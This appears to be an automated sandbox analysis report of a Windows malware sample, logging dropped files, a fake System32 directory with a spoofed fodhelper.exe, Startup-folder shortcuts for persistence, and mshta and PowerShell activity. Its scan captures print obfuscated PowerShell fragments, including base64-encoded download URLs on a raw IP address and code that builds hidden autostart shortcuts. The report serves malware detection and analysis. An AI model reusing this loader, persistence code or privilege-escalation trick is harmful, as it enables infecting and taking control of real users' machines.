Source: _zayqgx5_KAT.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\_zayqgx5_K\_zayqgx5_K.exe
Source: _zayqgx5_KAA.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\_zayqgx5_K\_zayqgx5_Ki7.exe
Source: _zayqgx5_Ky.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\Public\computer_zayqgx5_Ky.cmd
Source: _nczuwk7_H.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\Public\computer_nczuwk7_H.cmd
Source: _nczuwk7_HEX.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\_nczuwk7_H\_nczuwk7_H.exe
Source: _nczuwk7_HAT.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\_nczuwk7_H\_nczuwk7_H.exe
Source: _nczuwk7_HAA.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\..\_nczuwk7_H\_nczuwk7_Hi7.exe
Source: _nczuwk7_Hy.lnk.11.dr	LNK file: ..\..\..\..\..\..\..\..\Public\computer_nczuwk7_Hy.cmd

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	Automated click: Next >
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	Automated click: Next >

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows \System32\fodhelper.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Office\16.0\Outlook\Capabilities\UrlAssociations

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe

File opened: C:\_nczuwk7_H\MSVCR100.dll

Source:	Binary string: msvcr100.i386.pdb source: _nczuwk7_Hi7.exe, 0000000D.00000002.153233785190.00000000705B1000.00000020.00000001.01000000.0000000C.sdmp, _nczuwk7_Hi7.exe, 00000015.00000002.153234172300.00000000705B1000.00000020.00000001.01000000.0000000C.sdmp
Source:	Binary string: c:\workspace\8-2-build-windows-i586-cygwin\jdk8u92\6642\build\windows-i586\jdk\objs\kinit_objs\kinit.pdb source: _nczuwk7_Hi7.exe, 0000000D.00000000.153192357891.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp, _nczuwk7_Hi7.exe, 0000000D.00000002.153225275437.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp, _nczuwk7_Hi7.exe, 00000015.00000002.153225909917.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp, _nczuwk7_Hi7.exe, 00000015.00000000.153199136457.00000000001A2000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: FodHelper.pdb source: fodhelper.exe, 00000011.00000002.153200507779.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp, fodhelper.exe, 00000011.00000000.153197198274.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: FodHelper.pdbGCTL source: fodhelper.exe, 00000011.00000002.153200507779.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp, fodhelper.exe, 00000011.00000000.153197198274.00007FF7A72BB000.00000002.00000001.01000000.0000000E.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aAB0AHQAcAA6AC8ALwAxADUAOQAuADEAMAAwAC4AMQA4AC4AMQAzAC8AbABkAGgAdAAvAGkAbgBkAGUAeAAyADYALgBwAGgAcAA=')))) $Globa
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aAB0AHQAcAA6AC8ALwAxADUAOQAuADEAMAAwAC4AMQA4AC4AMQAzAC8AcABzADEALwBpAG4AZABlAHgAMQA0AC4AcABoAHAA')))) $GlobalLis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('aAB0AHQAcAA6AC8ALwAxADUAOQAuADEAMAAwAC4AMQA4AC4AMQAzAC8AcABzADEALwBpAG4AZABlAHgAMQA0AC4AcABoAHAA')))) $GlobalLis

Source: fodhelper.exe.11.dr

Static PE information: 0xF07D2A93 [Fri Nov 8 07:38:59 2097 UTC]

Source: fodhelper.exe.11.dr	Static PE information: section name: .imrsiv
Source: jli.dll.11.dr	Static PE information: section name: .didata
Source: jli.dll.11.dr	Static PE information: section name: .debug
Source: WebView2Loader.txt.11.dr	Static PE information: section name: .00cfg
Source: WebView2Loader.txt.11.dr	Static PE information: section name: .voltbl
Source: _nczuwk7_H.ia.a1.34.dr	Static PE information: section name: .didata

Source: MSVCR100.txt.11.dr

Static PE information: section name: .text entropy: 6.90903234258047

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe

Executable created and started: C:\Windows \System32\fodhelper.exe

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\MSVCR100.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Windows \System32\fodhelper.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\_nczuwk7_Hi7.exe (copy)	Jump to dropped file
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	File created: C:\_nczuwk7_H\_nczuwk7_H.ia.a1	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	File created: C:\_nczuwk7_H\libeay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\i7.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\_nczuwk7_H.exe (copy)	Jump to dropped file
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	File created: C:\_nczuwk7_H\ssleay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\WebView2Loader.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\jli.dll	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Windows \System32\fodhelper.exe

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\exe.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\i7.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\_nczuwk7_H\WebView2Loader.txt	Jump to dropped file
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	File created: C:\_nczuwk7_H\_nczuwk7_H.ia.a1	Jump to dropped file

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.exe del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.cmd ${/_//_//_/} = "${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\${_\\\\\\/\|\\\\\\\\\\\\\\\\\_}${GER}.${_/\|\_/\|////\__\|/_\|\\_}" ${\\\\__/////////} = "@Echo off`r`n"${\\\\__/////////} += "Setlocal EnableExtensions`r`n" ${\\\\__/////////} += "Setlocal EnableDelayedExpansion`r`n" ${\\\\__/////////} += "cd %SystemRoot%\System32`r`n" ${\\\\__/////////} += "Set /P ${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=<`"${//////////____zz//}${GER}`"`r`n"${\\\\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"${\\\\__/////////} += "for /L %%N in (10 1 36) do (`r`n"${\\\\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:%%N=%%C!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:@=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:`"=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "%${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}%`r`n" ${\\\\__/////////} \| Set-Content ${/_//_//_/}function _____/\_/\/\_/\/=\\\\\\\\\\/////{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.ai" ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\" ${/=\/\__/=\/=\/=\_}.WindowStyle = 7 ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA=='))) ${/=\/\__/=\/=\/=\_}.Save() }finally{}}function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Argume
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.exe del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.cmd ${/_//_//_/} = "${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\${_\\\\\\/\|\\\\\\\\\\\\\\\\\_}${GER}.${_/\|\_/\|////\__\|/_\|\\_}" ${\\\\__/////////} = "@Echo off`r`n"${\\\\__/////////} += "Setlocal EnableExtensions`r`n" ${\\\\__/////////} += "Setlocal EnableDelayedExpansion`r`n" ${\\\\__/////////} += "cd %SystemRoot%\System32`r`n" ${\\\\__/////////} += "Set /P ${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=<`"${//////////____zz//}${GER}`"`r`n"${\\\\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"${\\\\__/////////} += "for /L %%N in (10 1 36) do (`r`n"${\\\\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:%%N=%%C!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:@=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:`"=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "%${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}%`r`n" ${\\\\__/////////} \| Set-Content ${/_//_//_/}function _____/\_/\/\_/\/=\\\\\\\\\\/////{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.ai" ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\" ${/=\/\__/=\/=\/=\_}.WindowStyle = 7 ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA=='))) ${/=\/\__/=\/=\/=\_}.Save() }finally{}}function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Argume
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.exe del ${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\.cmd ${/_//_//_/} = "${_\\\\\\/\|\_/\|/\\\\\\\/\|_}\${_\\\\\\/\|\\\\\\\\\\\\\\\\\_}${GER}.${_/\|\_/\|////\__\|/_\|\\_}" ${\\\\__/////////} = "@Echo off`r`n"${\\\\__/////////} += "Setlocal EnableExtensions`r`n" ${\\\\__/////////} += "Setlocal EnableDelayedExpansion`r`n" ${\\\\__/////////} += "cd %SystemRoot%\System32`r`n" ${\\\\__/////////} += "Set /P ${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=<`"${//////////____zz//}${GER}`"`r`n"${\\\\__/////////} += "set chars=0123456789abcdefghijklmnopqrstuvwxyz`r`n"${\\\\__/////////} += "for /L %%N in (10 1 36) do (`r`n"${\\\\__/////////} += "for /F %%C in (`"!chars:~%%N,1!`") do (`r`n"${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:%%N=%%C!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:@=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "for /F %%F in (`"!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}!`") do (`r`n" ${\\\\__/////////} += "set `"${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}=!${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}:`"=!`"`r`n" ${\\\\__/////////} += ")`r`n" ${\\\\__/////////} += "%${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}%`r`n" ${\\\\__/////////} \| Set-Content ${/_//_//_/}function _____/\_/\/\_/\/=\\\\\\\\\\/////{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Arguments = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.ai" ${/=\/\__/=\/=\/=\_}.WorkingDirectory = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\" ${/=\/\__/=\/=\/=\_}.WindowStyle = 7 ${/=\/\__/=\/=\/=\_}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA=='))) ${/=\/\__/=\/=\/=\_}.Save() }finally{}}function _____/\_/\/\_/\/=\\\\\\\\\\/////\\\\\\\\\\\\\\\\\\\\\\\{ Param([string]${___/\_/=\___/\_/==},[string]${__/==\/\_/\/=\/\_/}); try{ ${__/\_/=\/=\/=====} = New-Object -ComObject WScript.Shell ${/=\/\__/=\/=\/=\_} = ${__/\_/=\/=\/=====}.CreateShortcut(${___/\_/=\___/\_/==}) ${/=\/\__/=\/=\/=\_}.TargetPath = "${_\\///////////////////////_}${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}\${_\\\\\\/\|\_/\|/\\\___\\\\/\|_}.${_/\|\_/\|////\__\|/_\|\\\\\\/\|_}" ${/=\/\__/=\/=\/=\_}.Argume

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_K.lnk

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_K.lnk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KEX.lnk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KAT.lnk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_KAA.lnk	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_zayqgx5_Ky.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_H.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HEX.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HAT.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_HAA.lnk	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\_nczuwk7_Hy.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\outlook\ConfigContextData 1

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
